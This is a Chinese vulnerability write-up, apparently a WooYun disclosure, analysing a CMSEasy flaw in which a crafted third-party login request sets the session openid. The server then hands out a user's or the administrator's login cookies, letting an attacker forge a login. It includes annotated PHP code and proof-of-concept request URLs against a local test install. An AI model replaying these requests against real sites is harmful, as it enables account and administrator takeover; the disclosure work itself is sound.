此问题 比较棘手,原因出在openid上面 我们之前有分析过一个案例: WooYun: cmseasy 逻辑缺陷可升级普通用户为管理员(shell还会难吗) 这里不赘述了,怎样去修改这个openid呢 我们发送url: http://localhost:8080/cmseasy/uploads/index.php?case=user&act=respond&ologin_code=alipaylogin&user_id=2&real_name=test&token=xxxx 此时session里面openid已经为2 我们打印一下: user_act.php:
include_once ROOT.'/lib/plugins/ologin/'.$classname.'.php'; $ologinobj = new $classname(); $status = $ologinobj->respond(); $where[$classname] = session::get('openid'); if(!$where[$classname]) front::redirect(url::create('user')); $user = new user(); $data = $user->getrow($where); var_dump(session::get('openid'));exit;
如图所示:
此时的 session 确实是我们设置的 分析一下这一段代码的逻辑:
include_once ROOT.'/lib/plugins/ologin/'.$classname.'.php'; $ologinobj = new $classname(); $status = $ologinobj->respond(); $where[$classname] = session::get('openid'); if(!$where[$classname]) front::redirect(url::create('user')); $user = new user(); $data = $user->getrow($where); //var_dump(session::get('openid'));exit; if(!$data){ $this->view->data = $status; }else{ cookie::set('login_username',$data['username']); cookie::set('login_password',front::cookie_encode($data['password'])); session::set('username',$data['username']); front::redirect(url::create('user')); }
如果classname为alipaylogin,然后做一下sql查询 2015-02-01 15:40 SELECT * FROM `cmseasy_user` WHERE `alipaylogin`='2' ORDER BY 1 desc limit 1 这里的这个alipaylogin 结果是唯一的 下来查询到了,就把用户名和密码暴露到cookie里面,此时我们就可以拿到这个cookie伪造登录了 那么问题来了,我们看看数据结构
发现这里是没有记录用户唯一性的第三方登录标志的id的 我们大胆猜想一下,如果用户采用第三方登录 或者第三方注册,那么这个alipaylogin 值会不会生成,而且永远不变呢 代码向上推 首先看注册的地方:
if(front::post('username') &&front::post('password')) { $username=front::post('username'); $username=str_replace('\\', '', $username); $password=md5(front::post('password')); $data=array( 'username'=>$username, 'password'=>$password, 'groupid'=>101, 'userip'=>front::ip(), $classname=>session::get('openid'), ); if($this->_user->getrow(array('username'=>$username))) { front::flash(lang('该用户名已被注册!')); return; }
发现了 这个位置当你采用第三方注册时候 这里就会生成alipaylogin 或者qqlogin的数值 而且经过我们的排查,这个值永远不变随着用户的注册之后,绑定了 我们在往下看第三方登录这里:
if (front::post('submit')) { if (front::post('username') && front::post('password')) { $username = front::post('username'); $password = md5(front::post('password')); $data = array( 'username' => $username, 'password' => $password, ); $user = new user(); $row = $user->getrow(array('username' => $data['username'], 'password' => $data['password'])); if (!is_array($row)) { $this->login_false(); return; } $post[$classname] = session::get('openid');
发现了 正式用户刚才注册的然后在填写用户名密码进行登录 分析到这我们清楚了一个道理,如果用用户采用第三方去注册,那么我们是可以获取到这个用户的用户名和密码的cookie的 我们在看看正常的用户登录这里需要的cookie是否和我们刚才通过第三方拿到的cookie结构是否一样
function login_action() { if(!$this->loginfalsemaxtimes()) if(front::post('submit')) { if(config::get('verifycode')) { if(!session::get('verify') ||front::post('verify')<>session::get('verify')) { front::flash(lang('验证码错误!')."<a href=''>".lang('backuppage')."</a>"); return; } } if(front::post('username') &&front::post('password')) { $username=front::post('username'); $password=md5(front::post('password')); $data=array( 'username'=>$username, 'password'=>$password, ); $user=new user(); $user=$user->getrow(array('username'=>$data['username'],'password'=>$data['password'])); if(!is_array($user)) { $this->login_false(); return; } $user=$data; cookie::set('login_username',$user['username']); cookie::set('login_password',front::cookie_encode($user['password']));
发现填写的cookie 和第三方要构造的 一模一样 下载 剩下的问题就是 ,如果所有权限的入口只是查了一下cookie里面的name和passwd,我们的分析就正确无误:
function init() { $user=''; if(cookie::get('login_username') &&cookie::get('login_password')) { $user=new user(); $user=$user->getrow(array('username'=>cookie::get('login_username'))); if(cookie::get('login_password')!=front::cookie_encode($user['password'])){ unset($user); } }
user_act里面的 符合我们刚才分析的,其他的我们就不看了,我们看一下管理员: 管理员这里比较bug,站点安装完成之后,管理员的 比如说alipaylogin 是空的 那么我们只要把openid设置为空就直接可以查看管理员cookie了 分析到此为止 我们来实际操作一下 第三方注册一个用户: url: http://localhost:8080/cmseasy/uploads/index.php?case=user&act=respond&ologin_code=alipaylogin postdata: regsubmit=xxx&username=test2&password=111111 我们怎么去获取test2用户cookie,并且伪造登录: 打印一下相关的数据:
$where[$classname] = session::get('openid'); if(!$where[$classname]) front::redirect(url::create('user')); $user = new user(); $data = $user->getrow($where); var_dump($data); if(!$data){ $this->view->data = $status; }else{ cookie::set('login_username',$data['username']); cookie::set('login_password',front::cookie_encode($data['password'])); session::set('username',$data['username']); var_dump($_SESSION); var_dump($_COOKIE); exit; front::redirect(url::create('user')); }
访问url: http://localhost:8080/cmseasy/uploads/index.php?case=user&act=respond&ologin_code=alipaylogin&user_id=1&real_name=test&token=xxxx 我没有登录,获取到了这个的cookie:
注释,由于我们alipaylogin.php,上下文查看没有可以影响到user_id的传递,本地没有搭建第三方 我们模拟了一下
//var_dump($alipayNotify); $verify_result = $alipayNotify->verifyReturn(); //var_dump($verify_result); if(true || $verify_result) {//验证成功 $user_id = front::$get['user_id']; $token = front::$get['token']; session::set('access_token',$token); session::set("openid",$user_id);
第三方这里的恒等true 进入到设置session里面来 ,这个在之前的一个漏洞已经说明原因 分析到此为止